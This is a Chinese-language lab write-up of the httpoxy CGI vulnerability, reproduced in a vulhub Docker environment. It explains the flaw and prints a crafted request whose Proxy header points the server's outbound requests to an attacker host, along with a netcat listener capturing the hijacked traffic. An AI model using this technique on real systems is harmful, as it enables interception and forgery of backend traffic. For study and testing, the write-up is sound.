漏洞描述
漏洞原理在CGI
变量命名不规范,CGI
程序在接收到HTTP Header
后会将部分Header
信息存在HTTP_
开头的变量中。但CGI
程序环境变量本身已经定义了HTTP_PROXY
变量,旨在为CGI
程序设置代理,如果攻击者在请求中带上了Proxy
头,则已定义的HTTP_PROXY
变量将被覆盖,实现当前请求的变量劫持,并不会对全局变量造成影响。
所以其本质在于CGI
环境变量劫持,如果CGI
程序在运行过程中依赖HTTP_PROXY
变量,则攻击者可获取敏感数据或伪造返回包对CGI
程序进行欺骗。
影响版本
任何以CGI
方式运行的程序,但需满足以下三点条件:
CGI
程序对外发送请求;CGI
程序依赖HTTP_PROXY
变量;CGI
程序与外部使用HTTP
协议进行通信。
漏洞复现
git clone https://github.com/vulhub/vulhub.git
cd vulhub/cgi/httpoxy
docker-compose up -d
抓取访问包:
GET /index.php HTTP/1.1
Host: <ip>:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: "61cb2d26-267"
If-Modified-Since: Tue, 28 Dec 2021 15:28:38 GMT
Connection: close
响应包:
HTTP/1.1 200 OK
Server: nginx/1.21.5
Date: Sun, 16 Jan 2022 06:35:17 GMT
Content-Type: application/json; charset=utf-8
Connection: close
X-Powered-By: PHP/5.6.23
Content-Length: 260
{
"args": {},
"headers": {
"Host": "httpbin.org",
"User-Agent": "GuzzleHttp/6.2.0 curl/7.38.0 PHP/5.6.23",
"X-Amzn-Trace-Id": "Root=1-61e3bca5-357701640048e8ce121a0086"
},
"origin": "<ip>",
"url": "http://httpbin.org/get"
}
构造请求包:
GET /index.php HTTP/1.1
Host: <ip>:8080
Proxy: http://<ip>:<port>
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
If-None-Match: "61cb2d26-267"
If-Modified-Since: Tue, 28 Dec 2021 15:28:38 GMT
Connection: close
攻击机监听:
$ nc -lvnp <port>
listening on [any] <port> ...
connect to [<ip>] from (UNKNOWN) [<ip>] 59306
GET http://httpbin.org/get HTTP/1.1
Proxy-Connection: Keep-Alive
User-Agent: GuzzleHttp/6.2.0 curl/7.38.0 PHP/5.6.23
Host: httpbin.org
响应包:
HTTP/1.1 200 OK
Server: nginx/1.21.5
Date: Sun, 16 Jan 2022 06:27:54 GMT
Content-Type: application/json; charset=utf-8
Connection: close
X-Powered-By: PHP/5.6.23
Content-Length: 1155
<br />
<b>Fatal error</b>: Uncaught exception 'GuzzleHttp\Exception\ConnectException' with message 'cURL error 28: Operation timed out after 2004 milliseconds with 0 bytes received (see http://curl.haxx.se/libcurl/c/libcurl-errors.html)' in /var/www/html/vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php:186
Stack trace:
#0 /var/www/html/vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php(150): GuzzleHttp\Handler\CurlFactory::createRejection(Object(GuzzleHttp\Handler\EasyHandle), Array)
#1 /var/www/html/vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php(103): GuzzleHttp\Handler\CurlFactory::finishError(Object(GuzzleHttp\Handler\CurlHandler), Object(GuzzleHttp\Handler\EasyHandle), Object(GuzzleHttp\Handler\CurlFactory))
#2 /var/www/html/vendor/guzzlehttp/guzzle/src/Handler/CurlHandler.php(43): GuzzleHttp\Handler\CurlFactory::finish(Object(GuzzleHttp\Handler\CurlHandler), Object(GuzzleHttp\Handler\EasyHandle), Object(GuzzleHttp\Handler\CurlFactory))
#3 /var/www/html/vendor/guzzlehttp/guzzle/src/Handler/Proxy.php(28): GuzzleHttp\Hand in <b>/var/www/html/vendor/guzzlehttp/guzzle/src/Handler/CurlFactory.php</b> on line <b>186</b><br />
文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。